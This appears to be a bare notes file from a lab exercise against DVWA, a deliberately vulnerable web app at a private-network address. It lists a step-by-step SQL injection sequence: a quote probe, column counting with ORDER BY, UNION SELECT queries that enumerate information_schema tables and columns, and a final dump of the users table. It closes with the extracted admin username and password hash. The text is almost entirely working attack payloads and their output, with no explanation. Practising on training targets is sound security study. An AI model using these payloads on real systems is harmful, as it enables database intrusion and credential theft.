http://192.168.1.101/dvwa/vulnerabilities/sqli/?id=4'&Submit=Submit#

http://192.168.1.101/dvwa/vulnerabilities/sqli/?id=4' order by 1,2--+-&Submit=Submit#


http://192.168.1.101/dvwa/vulnerabilities/sqli/?id=4' union select database(),version()--+-&Submit=Submit#

http://192.168.1.101/dvwa/vulnerabilities/sqli/?id=4' union select 1,table_name from information_schema.tables--+-&Submit=Submit#

http://192.168.1.101/dvwa/vulnerabilities/sqli/?id=4' union select 1,column_name from information_schema.columns where table_name='users'--+-&Submit=Submit#

tb = users
clo = id, password

http://192.168.1.101/dvwa/vulnerabilities/sqli/?id=4' union select user,password from users--+-&Submit=Submit#

username = admin
password = 5f4dcc3b5aa765d61d8327deb882cf99